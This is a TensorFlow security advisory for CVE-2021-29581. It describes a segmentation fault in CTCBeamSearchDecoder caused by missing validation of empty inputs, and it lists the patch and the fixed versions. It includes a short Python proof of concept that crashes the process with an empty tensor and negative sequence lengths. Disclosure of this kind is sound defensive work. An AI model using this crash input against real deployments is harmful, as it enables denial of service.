## TFSA-2021-069: Segfault in `CTCBeamSearchDecoder`

### CVE Number
CVE-2021-29581

### Impact
Due to lack of validation in `tf.raw_ops.CTCBeamSearchDecoder`, an attacker can
trigger denial of service via segmentation faults:

```python
import tensorflow as tf

inputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)
sequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],
shape=[8], dtype=tf.int32)
beam_width = 10
top_paths = 3
merge_repeated = True

tf.raw_ops.CTCBeamSearchDecoder(
  inputs=inputs, sequence_length=sequence_length, beam_width=beam_width,
  top_paths=top_paths, merge_repeated=merge_repeated)
```

The
[implementation](https://github.com/tensorflow/tensorflow/blob/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7/tensorflow/core/kernels/ctc_decoder_ops.cc#L68-L79)
fails to detect cases when the input tensor is empty and proceeds to read data
from a null buffer.

### Patches
We have patched the issue in GitHub commit
[b1b323042264740c398140da32e93fb9c2c9f33e](https://github.com/tensorflow/tensorflow/commit/b1b323042264740c398140da32e93fb9c2c9f33e).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
X-Team.
